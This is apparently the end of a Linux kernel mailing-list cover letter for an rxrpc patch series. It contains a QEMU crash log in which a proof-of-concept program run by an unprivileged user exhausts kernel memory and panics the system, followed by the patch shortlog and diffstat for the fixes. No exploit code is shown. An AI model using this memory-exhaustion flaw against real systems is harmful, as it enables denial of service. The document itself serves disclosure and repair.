[ 275.049249][ T9427] skbuff_small_head 521844KB 521859KB
[ 275.049255][ T9427] skbuff_fclone_cache 2KB 47KB
[ 275.049260][ T9427] skbuff_head_cache 243491KB 243491KB
[ 275.049265][ T9427] configfs_dir_cache 4KB 7KB
[ 275.049271][ T9427] file_lock_cache 0KB 30KB
[ 275.049276][ T9427] file_lock_ctx 18KB 19KB
[ 275.049281][ T9427] fsnotify_inode_mark_connector 21KB 22KB
[ 275.049287][ T9427] taskstats 1KB 15KB
[ 275.049293][ T9427] mem_cgroup_per_node 78KB 120KB
[ 275.049299][ T9427] mem_cgroup 87KB 123KB
[ 275.049305][ T9427] proc_dir_entry 308KB 339KB
[ 275.049311][ T9427] pde_opener 0KB 3KB
[ 275.049316][ T9427] seq_file 14KB 31KB
[ 275.049322][ T9427] sigqueue 0KB 11KB
[ 275.049329][ T9427] shmem_inode_cache 8435KB 8541KB
[ 275.049336][ T9427] kernfs_iattrs_cache 221KB 244KB
[ 275.049343][ T9427] kernfs_node_cache 21315KB 21388KB
[ 275.049349][ T9427] mnt_cache 54KB 78KB
[ 275.049366][ T9427] filp 360KB 819KB
[ 275.049373][ T9427] names_cache 39KB 126KB
[ 275.049378][ T9427] net_namespace 9KB 29KB
[ 275.049383][ T9427] ima_iint_cache 161KB 161KB
[ 275.049388][ T9427] hashtab_node 927KB 928KB
[ 275.049394][ T9427] ebitmap_node 2110KB 2118KB
[ 275.049399][ T9427] avtab_node 16916KB 16917KB
[ 275.049408][ T9427] avc_node 91KB 138KB
[ 275.049460][ T9427] lsm_inode_cache 6208KB 8015KB
[ 275.049470][ T9427] lsm_file_cache 98KB 253KB
[ 275.049475][ T9427] key_jar 25KB 32KB
[ 275.049480][ T9427] uts_namespace 0KB 15KB
[ 275.049486][ T9427] nsproxy 0KB 3KB
[ 275.049504][ T9427] vm_area_struct 1175KB 1968KB
[ 275.049510][ T9427] fs_cache 9KB 39KB
[ 275.049516][ T9427] files_cache 26KB 95KB
[ 275.049521][ T9427] task_exec_state 4KB 15KB
[ 275.049553][ T9427] signal_cache 536KB 1880KB
[ 275.049564][ T9427] sighand_cache 679KB 2006KB
[ 275.049581][ T9427] task_struct 2444KB 4254KB
[ 275.049591][ T9427] cred 132KB 543KB
[ 275.049603][ T9427] anon_vma_chain 316KB 511KB
[ 275.049612][ T9427] anon_vma 294KB 468KB
[ 275.049621][ T9427] pid 134KB 425KB
[ 275.049629][ T9427] Acpi-Operand 76KB 154KB
[ 275.049636][ T9427] Acpi-ParseExt 0KB 15KB
[ 275.049641][ T9427] Acpi-Parse 0KB 15KB
[ 275.049647][ T9427] Acpi-State 0KB 15KB
[ 275.049652][ T9427] Acpi-Namespace 55KB 62KB
[ 275.049657][ T9427] numa_policy 0KB 3KB
[ 275.049662][ T9427] perf_event 0KB 31KB
[ 275.049667][ T9427] trace_event_file 881KB 883KB
[ 275.049673][ T9427] ftrace_event_field 2011KB 2012KB
[ 275.049678][ T9427] pool_workqueue 762KB 787KB
[ 275.049708][ T9427] maple_node 719KB 2567KB
[ 275.049714][ T9427] mm_struct 78KB 250KB
[ 275.136004][ T9427] vmap_area 474KB 873KB
[ 275.136025][ T9427] debug_objects_cache 2585KB 2589KB
[ 275.136035][ T9427] page->ptl 56KB 134KB
[ 275.136040][ T9427] kmalloc-cg-8k 216KB 288KB
[ 275.136048][ T9427] kmalloc-cg-4k 1524KB 1752KB
[ 275.136055][ T9427] kmalloc-cg-2k 1440KB 1620KB
[ 275.136061][ T9427] kmalloc-cg-1k 210KB 270KB
[ 275.136066][ T9427] kmalloc-cg-512 115KB 220KB
[ 275.136071][ T9427] kmalloc-cg-256 69KB 110KB
[ 275.136078][ T9427] kmalloc-cg-128 1525KB 1559KB
[ 275.136093][ T9427] kmalloc-cg-64 98KB 344KB
[ 275.136103][ T9427] kmalloc-cg-32 1276KB 1315KB
[ 275.136108][ T9427] kmalloc-cg-16 7KB 15KB
[ 275.136113][ T9427] kmalloc-cg-8 12KB 23KB
[ 275.136119][ T9427] kmalloc-cg-192 22KB 31KB
[ 275.136127][ T9427] kmalloc-cg-96 694KB 728KB
[ 275.136138][ T9427] kmalloc-8k 2424KB 2544KB
[ 275.136171][ T9427] kmalloc-4k 5304KB 8280KB
[ 275.136176][ T9427] kmalloc-2k 14070KB 14070KB
[ 275.136182][ T9427] kmalloc-1k 4494KB 4620KB
[ 275.136190][ T9427] kmalloc-512 6868KB 7339KB
[ 275.136198][ T9427] kmalloc-256 4458KB 4567KB
[ 275.136216][ T9427] kmalloc-128 1152KB 1464KB
[ 275.136245][ T9427] kmalloc-64 6098KB 6352KB
[ 275.136285][ T9427] kmalloc-32 1428KB 2354KB
[ 275.136294][ T9427] kmalloc-16 2687KB 2714KB
[ 275.136303][ T9427] kmalloc-8 1694KB 1744KB
[ 275.136314][ T9427] kmalloc-192 1727KB 1787KB
[ 275.136335][ T9427] kmalloc-96 2442KB 2608KB
[ 275.136340][ T9427] kmem_cache_node 180KB 180KB
[ 275.136345][ T9427] kmem_cache 215KB 220KB
[ 275.136351][ T9427] Memory cgroup min protection 0kB -- low protection 0kB
[ 275.136355][ T9427] Tasks state (memory values in pages):
[ 275.136358][ T9427] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[ 275.136521][ T9427] [ 4992] 0 4992 8006 224 221 2 1 81920 0 -250 systemd-journal
[ 275.136538][ T9427] [ 5006] 0 5006 9316 2913 2911 2 0 98304 0 -1000 systemd-udevd
[ 275.136572][ T9427] [ 8881] 0 8881 1411 71 69 2 0 49152 0 0 cron
[ 275.136587][ T9427] [ 8934] 0 8934 55235 389 387 2 0 77824 0 0 rsyslogd
[ 275.315992][ T9427] [ 9211] 0 9211 24973 356 354 2 0 81920 0 0 dhclient
[ 275.316018][ T9427] [ 9258] 0 9258 720 34 32 2 0 45056 0 0 agetty
[ 275.316038][ T9427] [ 9259] 0 9259 720 34 32 2 0 49152 0 0 agetty
[ 275.316058][ T9427] [ 9260] 0 9260 720 34 32 2 0 40960 0 0 agetty
[ 275.316077][ T9427] [ 9261] 0 9261 720 34 32 2 0 40960 0 0 agetty
[ 275.316096][ T9427] [ 9262] 0 9262 720 34 32 2 0 45056 0 0 agetty
[ 275.316115][ T9427] [ 9263] 0 9263 720 34 32 2 0 45056 0 0 agetty
[ 275.316140][ T9427] [ 9264] 0 9264 1101 36 34 2 0 49152 0 0 agetty
[ 275.316159][ T9427] [ 9265] 0 9265 3340 244 242 2 0 73728 0 -1000 sshd
[ 275.316179][ T9427] [ 9267] 0 9267 14097 391 390 1 0 86016 0 0 nginx
[ 275.316202][ T9427] [ 9268] 33 9268 14191 472 470 2 0 86016 0 0 nginx
[ 275.316221][ T9427] [ 9269] 33 9269 14191 472 470 2 0 86016 0 0 nginx
[ 275.316240][ T9427] [ 9405] 0 9405 622 51 21 30 0 40960 0 0 sh
[ 275.316259][ T9427] [ 9419] 0 9419 2019 125 123 2 0 57344 0 0 runuser
[ 275.316278][ T9427] [ 9421] 1001 9421 246315 62 61 1 0 102400 0 0 poc_rxrpc_mem
[ 275.316304][ T9427] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 275.370927][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full)
[ 275.372055][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 275.373418][ T9427] Call Trace:
[ 275.373804][ T9427] <TASK>
[ 275.374131][ T9427] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 275.374642][ T9427] dump_stack (lib/dump_stack.c:129)
[ 275.375119][ T9427] vpanic (kernel/panic.c:651)
[ 275.375592][ T9427] ? __pfx_vpanic (kernel/panic.c:363)
[ 275.376192][ T9427] ? rcu_preempt_deferred_qs_irqrestore (kernel/rcu/tree_plugin.h:573 (discriminator 31))
[ 275.377078][ T9427] panic (kernel/panic.c:788)
[ 275.377519][ T9427] ? __pfx_panic (kernel/panic.c:741)
[ 275.378047][ T9427] ? __rcu_read_unlock (kernel/rcu/tree_plugin.h:798 kernel/rcu/tree_plugin.h:438)
[ 275.378713][ T9427] ? dump_header (mm/oom_kill.c:475)
[ 275.379246][ T9427] out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143)
[ 275.379795][ T9427] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 275.380579][ T9427] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 275.381284][ T9427] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 275.382093][ T9427] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 275.382694][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.383409][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.384085][ T9427] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 275.384950][ T9427] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 275.385645][ T9427] ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[ 275.386188][ T9427] alloc_pages_mpol (mm/mempolicy.c:2486)
[ 275.386762][ T9427] ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[ 275.387523][ T9427] alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[ 275.388152][ T9427] allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[ 275.388700][ T9427] new_slab (mm/slub.c:3513)
[ 275.389202][ T9427] ___slab_alloc (mm/slub.c:4568)
[ 275.389734][ T9427] kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[ 275.390416][ T9427] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 275.391002][ T9427] ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.391513][ T9427] __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.392005][ T9427] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 275.392508][ T9427] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 275.393075][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.393706][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.394284][ T9427] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[ 275.394916][ T9427] sock_alloc_send_pskb (net/core/sock.c:3022)
[ 275.395495][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.396051][ T9427] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[ 275.396686][ T9427] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 275.397411][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.398103][ T9427] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 275.398645][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.399147][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.399809][ T9427] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 275.400424][ T9427] ? ip6_mtu (net/ipv6/route.c:3296)
[ 275.400886][ T9427] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 275.401561][ T9427] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 275.402047][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.402642][ T9427] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 275.403221][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.404006][ T9427] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.404545][ T9427] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.405064][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.405794][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.406316][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.406958][ T9427] ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[ 275.407483][ T9427] ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[ 275.407991][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.408541][ T9427] inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.409095][ T9427] ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.409691][ T9427] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[ 275.410329][ T9427] ? __pfx___sys_sendto (net/socket.c:2235)
[ 275.410915][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.411551][ T9427] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 275.412148][ T9427] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 275.412704][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.413384][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.414221][ T9427] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 275.414884][ T9427] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 275.415461][ T9427] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 275.416325][ T9427] RIP: 0033:0x423104
[ 275.416869][ T9427] Code: Unable to access opcode bytes at 0x4230da.
Code starting with the faulting instruction
===========================================
[ 275.417602][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 275.418680][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[ 275.419639][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[ 275.420576][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[ 275.421697][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[ 275.422817][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[ 275.423714][ T9427] </TASK>
[ 275.424907][ T9427] Kernel Offset: disabled
[ 275.425408][ T9427] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (5):
rxrpc: release challenge reference after aborted event
rxrpc: release secured-connection reference when purging skb
rxrpc: account encapsulated packets to UDP socket
rxrpc: bound connection and OOB receive queues
rxrpc: bound DATA receive queues
net/rxrpc/af_rxrpc.c | 1 +
net/rxrpc/ar-internal.h | 51 ++++-
net/rxrpc/call_event.c | 4 +
net/rxrpc/call_object.c | 6 +-
net/rxrpc/conn_event.c | 40 +++-
net/rxrpc/conn_object.c | 31 ++-
net/rxrpc/input.c | 100 +++++++---
net/rxrpc/io_thread.c | 68 ++++++-
net/rxrpc/local_object.c | 31 ++-
net/rxrpc/oob.c | 25 +--
net/rxrpc/peer_object.c | 1 +
net/rxrpc/recvmsg.c | 11 +-
net/rxrpc/skbuff.c | 396 ++++++++++++++++++++++++++++++++++++++-
13 files changed, 704 insertions(+), 61 deletions(-)
--
2.43.0
More information about the linux-afs
mailing list